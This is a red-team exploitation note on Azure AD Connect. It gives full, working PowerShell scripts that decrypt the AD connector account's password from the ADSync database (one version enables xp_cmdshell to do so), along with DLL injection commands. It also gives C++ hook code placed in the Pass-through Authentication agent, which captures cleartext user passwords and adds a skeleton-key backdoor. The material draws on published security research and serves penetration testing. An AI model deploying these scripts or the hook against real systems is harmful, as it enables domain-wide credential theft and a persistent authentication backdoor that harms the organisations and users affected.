# Exploitation - Azure AD Connect

### Overview

`Azure Active Directory (AD) Connect` is a Microsoft utility used to connect on-premises Active Directory forests with Azure AD. Using `Azure AD Connect` on premise users can access cloud-based services in an hybrid identity model, across (Windows Server) Active Directory and Azure AD.

During `Azure AD Connect` installation, an user account is created in the on-premise Active Directory forest: the `Azure Active Directory Domain Services (AD DS) Connector account`. The account is by default named `MSOL_<HEX_ID>` (for example: `MSOL_a8a17814304d`). Additionally, an Azure AD user is also automatically created (named `Sync_<AAD_CONNECT_SERVER_HOSTNAME>_<HEX_ID>@<AZURE_TENANT>`, with a matching `<HEX_ID>`).

**Synchronization modes - Password Hash Sync vs Pass-through Authentication**

`Azure AD Connect` currently implements two synchronization modes / sign-in methods:

* `Password Hash Sync (PHS)`, in which on-premises Active Directory users' NTLM password hashes (NTLM hashes and Kerberos keys) are extracted and synchronized from the on-premises Active Directory forest to Azure AD. `PHS` is the mode configured by default whenever using the "Express Settings" option during the Azure AD Connect installation.
* `Pass-through Authentication (PTA)`, in which on-premises Active Directory users' passwords are not synchronized with Azure AD. The authentication requests (of non cloud-only accounts) made Azure side are instead directly sent to the `Azure AD Connect` server to be validated by an on-premise Domain Controller.

In a `Password Hash Sync` setup, the `Azure AD DS Connector account` is granted replication privileges (`Replicate Directory Changes` and `Replicate Directory Changes All`) in the Active Directory forest in order to be able to extract the users' password hashes.

**Active Directory Federation Services alternative**

While `Azure AD Connect` is sufficient for connecting an on-premise Active Directory environment with Azure AD, `Active Directory Federation Services` may be used as well. `ADFS` is an utility developed by Microsoft to provide single sign-on access to external resources and that implements a claims-based access-control authorization model. `ADFS` establishes a trust between two federation servers: one client-side and another resources-side. On the client-side, `ADFS` connects to the on-premise `Active Directory Domain Services` to authenticates users using the Active Directory database and issues a token that can be transmitted to the resources-side federation server. `ADFS` presents the advantage of enabling federation with various compliant federation services (such as `Software as a Service (SaaS)` applications, `ADFS` servers from external Active Directory forests, etc.) but is however much more difficult to deploy and administrate than `Azure AD Connect`.

### Azure AD Connect identification

The following PowerShell commands, that rely on cmdlets from the Microsoft `Remote Server Administration Tools (RSAT)` utilities, can be used to identity the `Azure AD DS Connector account` and whether the account is granted replication privileges or not.

```
Get-ADUser -Filter "name -like 'MSOL_*'"
Get-ADUser -Properties Description -Filter "Description -like '*Azure*'"

# Checks if the Azure AD DS Connector account is granted replication privileges.
# FOREST_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL -Path "AD:<FOREST_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "
MSOL_*" | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
```

### Initial compromise of the Azure AD Connect server

The compromise of the `Azure AD Connect` server is a prerequisite of the attacks introduced below. The `Azure AD Connect` server may benefit from a lower security level than the Domain Controllers usually identified as critical infrastructure resources.

The initial compromise of the `Azure AD Connect` server can be achieved in a number of ways (out of the scope of the present note):

| Description                                                                                                                                          | Related note(s)                                                                      |
| ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| Compromise of an account that can (remotely or using a local connection) execute OS commands through the `Azure AD Connect` server `MSSQL` database. | `[ActiveDirectory] - 1433 MSSQL` note.                                               |
| Remote code execution vulnerability or compromise of a service allowing for remote code execution on an exposed service.                             | `L7` notes.                                                                          |
| Compromise of mutualized local Administrators accounts or domain accounts member of the local `Administrators` group.                                | `[ActiveDirectory] - Credentials_theft_shuffling` note.                              |
| Exploitable `ACL` (`GenericAll`, `WriteOwner`, `WriteDACL`, etc.) defined on the `Azure AD Connect` server's machine account.                        | `[ActiveDirectory] ACL exploiting - Computer machine account ACL exploitation` note. |
| Code execution through `Group Policy Objects (GPO)` linked to the `Azure AD Connect` server (through exploitable `ACL` on the `GPO` or `GPO` files). | `[ActiveDirectory] ACL exploiting - GPO ACEs exploitation` note.                     |
| Prior compromise of an account trusted for Kerberos delegations on the `Azure AD Connect` server.                                                    | `[ActiveDirectory] - Kerberos delegations` note.                                     |
| ...                                                                                                                                                  | ...                                                                                  |

### Password Hash Synchronization exploit

After achieving command execution in an elevated context on the `Azure AD Connect` server, the `Azure AD DS Connector account` cleartext password can be retrieved in a number of ways:

* by dumping and extracting the authentication secrets stored in the `LSASS` process. This technique is usually more closely defended against by `Endpoint detection and response (EDR)` products than the other one presented below. Refer to the `[Windows] Post exploitation - Credentials dumping` note for more information on how to dump credentials from `LSASS` as stealthy as possible.
* by retrieving the `Azure AD DS Connector account` encrypted password from the `MSSQL` `ADSync` database (`encrypted_configuration` column of the `mms_management_agent` table) and decrypting it using functions implemented in the `Microsoft Azure AD Sync\Bin\mcrypt.dll` `DLL`.

  On out of date `Azure AD Connect` servers installed before early 2020, the decryption key can be simply retrieved with sufficient privileges using functions from the `mcrypt.dll` `DLL`.

  Since an update changing the way the decryption key is handled, it is now necessary to execute code in the context of the `NT SERVICE\ADSync` Virtual Account to access the decryption key stored as a `DPAPI` key. This can be achieved in two notable ways:

  * By injecting in a process running as the `NT SERVICE\ADSync` account and using the previous technique. This can be done using various tools such as `metasploit`'s `meterpreter` or in a `Cobalt Strike` beacon.
  * By executing operating system commands through the `MSSQL` service (using `xp_cmdshell` for instance), which run under the security context of the `NT SERVICE\ADSync` account.

Once in possession of the `Azure AD DS Connector account` password, refer to the `[ActiveDirectory] ntds.dit dumping` note for a procedure and tooling to conduct passwords replication (`DCSync`).

**Against outdated Azure AD Connect installations**

Multiple tools may be used to conduct the extraction and decryption process against outdated Azure AD Connect installations:

* The [AdSyncDecrypt](https://github.com/VbScrub/AdSyncDecrypt/releases) VB.NET tool.

  The `AdDecrypt.exe` binary must be executed:

  * in a folder with the `mcrypt.dll` `DLL` present.
  * with the AD Sync binary folder as the working directory or with the folder added to the PATH environment variable.

  ```
  # Default location of the AD Sync binary folder
  cd "C:\Program Files\Microsoft Azure AD Sync\Bin"

  # Against the default SQLExpress “LocalDb” instance.
  <PATH>\AdDecrypt.exe

  # Against a full MSSQL instance
  <PATH>\AdDecrypt.exe -FullSQL
  ```
* [adconnectdump](https://github.com/fox-it/adconnectdump), which is composed of the `ADSyncDecrypt`, `ADSyncGather`, and `ADSyncQuery` C# utilities as well as the `adconnectdump.py` Python script.

  `ADSyncDecrypt` and `ADSyncGather` work similarly to `AdDecrypt.exe` and require code execution on the targeted `Azure AD Connect` server.\
  `ADSyncQuery` present the advantage of conducting the extraction through remote `RPC` calls. It however requires a local `MSSQL` instance to be installed on the attacking computer.

  ```
  # The ADSyncQuery.exe sould be present in the directory.
  python.exe adconnectdump.py [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>
  ```
* The [azuread\_decrypt\_msol.ps1](https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1) PowerShell script.

  ```
  # Author: Adam Chester (XPN).
  # Source: https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1

  # !! For connection to full MSSQL database instance (excluding database setup using the "Express" installation option), replace the connection string with the one below:
  # $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

  Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

  $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
  $client.Open()
  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $key_id = $reader.GetInt32(0)
  $instance_id = $reader.GetGuid(1)
  $entropy = $reader.GetGuid(2)
  $reader.Close()

  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $config = $reader.GetString(0)
  $crypted = $reader.GetString(1)
  $reader.Close()

  add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
  $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
  $km.LoadKeySet($entropy, $instance_id, $key_id)
  $key = $null
  $km.GetActiveCredentialKey([ref]$key)
  $key2 = $null
  $km.GetKey(1, [ref]$key2)
  $decrypted = $null
  $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

  $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
  $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
  $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

  Write-Host ("Domain: " + $domain.Domain)
  Write-Host ("Username: " + $username.Username)
  Write-Host ("Password: " + $password.Password)
  ```

**Against up-to-date Azure AD Connect installations**

The [azuread\_decrypt\_msol\_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) PowerShell script implements the operating system commands execution through the `MSSQL` service described above to achieve code execution under the security context of the `NT SERVICE\ADSync` account.

```
# Author: Adam Chester (XPN).
# Source: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

# !! For connection to full MSSQL database instance (and not database setup using the "Express" installation option), replace the connection string with the one below:
# $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
```

### Pass Through Authentication exploit

In `Pass-through Authentication (PTA)` mode, the authentication requests are sent to the `Azure AD Connect` server through a connection established by the `Azure AD Connect Authentication Agent` (`AzureADConnectAuthenticationAgentService.exe`). Note that cloud-only accounts will not affected by the exploit as their authentication requests are processed only Azure AD-side.

The agent rely on the `LogonUserW` Win32 API function to validate the received credentials against a on-premise Active Directory Domain Controller. In order to make use of the Win32 API `LogonUser` functions, the Authentication Agent must be in possession of the authentication request cleartext username and password.

The compromise of the `Azure AD Connect` server, or more precisely put obtaining code execution in a security context with the `SeDebugPrivilege` privilege enabled, thus allow:

* for the retrieval of the authentication requests' cleartext username and password
* the implementation of a backdoor, such as an hardcoded password that would validate access for any accounts (similarly to what could be achieved against on-premise Domain Controllers with the `skeleton key` attack).

*The attacks against the `PTA`, and the code introduced below, are based on original research done by* [*Adam Chester*](https://blog.xpnsec.com/azuread-connect-for-redteam/) *and* [*Eric Saraga*](https://www.varonis.com/blog/azure-skeleton-key/)*.*

**Win32 API LogonUserW hooking**

The following code should be compiled as a `DLL` and injected into the `AzureADConnectAuthenticationAgentService` process on the `Azure AD Connect` server.

Disclaimer: the `DACL` on the payload `DLL` must be configured to grant `Read` access to the `NETWORK SERVICE` identity. If output files are being used to log the authentication requests, the `DACL` on the output folder / files should also allow write access.

The payload `DLL` will:

1. Enter the `DllMain` entry point upon loading in the `AzureADConnectAuthenticationAgentService` process.
2. Retrieve the address of the `LogonUserW` function, which is exported by the `advapi32.dll` library.
3. Update the virtual address space protection of the `LogonUserW` function region to `PAGE_EXECUTE_READWRITE` (in order to be able to modify the function code).
4. Inject in the legitimate `LogonUserW` function a jump to the hooking `LogonUserWHook` function.
5. Restore the original virtual address space protection.

Whenever an Azure AD authentication will be processed by the `AzureADConnectAuthenticationAgentService` process, the `LogonUserW` function and, in turn, the `LogonUserWHook` function will thus be called. In order to properly authenticate users, the `LogonUserWHook` function returns the result of a call to the `LogonUserExW` function (which implement the same validation but does not rely on the `LogonUserW` function).

```cpp
// Original author: Adam Chester / @_xpn_
// Source: https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7#file-azuread_hook_dll-cpp

#include <windows.h>
#include <stdio.h>
#include <fstream>

// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };

BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);

void Start(void) {
    DWORD oldProtect;

    std::ofstream outfile;
    outfile.open("<FILE_PATH>", std::ios_base::app);
    outfile << "Successfully injected payload DLL!" << "\n";
    outfile.close();

    void* LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
    if (LogonUserWAddr == NULL) {
        // Should never happen, but just incase
        return;
    }

    // Update page protection so we can inject our trampoline
    VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Add our JMP addr for our hook
    *(void**)(trampoline + 2) = &LogonUserWHook;

    // Copy over our trampoline
    memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));

    // Restore previous page protection so Dom doesn't shout
    VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}

// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
    PSID logonSID;
    void* profileBuffer = (void*)0;
    DWORD profileLength;
    QUOTA_LIMITS quota;
    bool ret;

    // Refer to "Authentication requests interception" / "Authentication Agent backdoor" sections below

    // <INJECTED_CODE_BACKDOOR>

    // Forward request to LogonUserExW and return result
    ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);

    // <INJECTED_CODE_INTERCEPTION>

    return ret;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Start();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

The `injectAllTheThings` project can be used to inject the payload `DLL` in the process using a number of techniques. One technique consist of copying the payload `DLL` path into the remote process, using `VirtualAllocEx` and a subsequent `WriteProcessMemory` call, and then remotely starting a thread that will load the payload `DLL`. A remote thread can be created using `CreateRemoteThread` and instructed to execute (`Kernel32`'s) `LoadLibraryW`.

```
# Supported injection techniques: 1 CreateRemoteThread / 2 NtCreateThreadEx / 3 QueueUserAPC / 4 SetWindowsHookEx / 5 RtlCreateUserThread / 6 SetThreadContext / 7 Reflective DLL injection

injectAllTheThings.exe -t <1 | INJECTION_TECHNIQUE_NUMBER> "AzureADConnectAuthenticationAgentService.exe" <PAYLOAD_DLL_FULL_PATH>
```

**Authentication requests interception**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_INTERCEPTION>`) to log the authentication requests.

```cpp
std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully hooked LogonUserW function!" << "\n\n";

if (ret == true) {
    outfile << "Successful authentication received:" << "\n";
}

else {
    outfile << "Unsuccessful authentication received:" << "\n";
}

// Write username.
int len_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, NULL, 0, 0, 0);
LPSTR result_username = NULL;
if (len_username > 0) {
    result_username = new char[len_username + 1];
    if (result_username) {
        int resLen_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, &result_username[0], len_username, 0, 0);
        if (resLen_username == len_username) {
            outfile.write(result_username, len_username);
            outfile << "\n";
        }
        delete[] result_username;
    }
}

// Write password
int len_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, NULL, 0, 0, 0);
LPSTR result_password = NULL;
if (len_password > 0) {
    result_password = new char[len_password + 1];
    if (result_password) {
        int resLen_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, &result_password[0], len_password, 0, 0);
        if (resLen_password == len_password) {
            outfile.write(result_password, len_password);
            outfile << "\n";
        }
        delete[] result_password;
    }
}

outfile.close();
```

**Authentication Agent backdoor (Azure Skeleton Key)**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_BACKDOOR>`) to define a password that grant access to any accounts (backdoor known as `Skeleton Key`).

```cpp
if (wcscmp(password, L"<BACKDOOR_SKELETON_KEY>") == 0) {
    return true;
}
```

***

### References

<https://blog.xpnsec.com/protecting-your-malware/> <https://blog.xpnsec.com/azuread-connect-for-redteam/> <https://www.synacktiv.com/publications/azure-ad-introduction-for-red-teamers.html> <https://github.com/fox-it/adconnectdump> <https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/> <https://www.varonis.com/blog/azure-skeleton-key/> <https://docs.microsoft.com/fr-fr/azure/active-directory/manage-apps/migrate-adfs-apps-to-azure> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-pta>
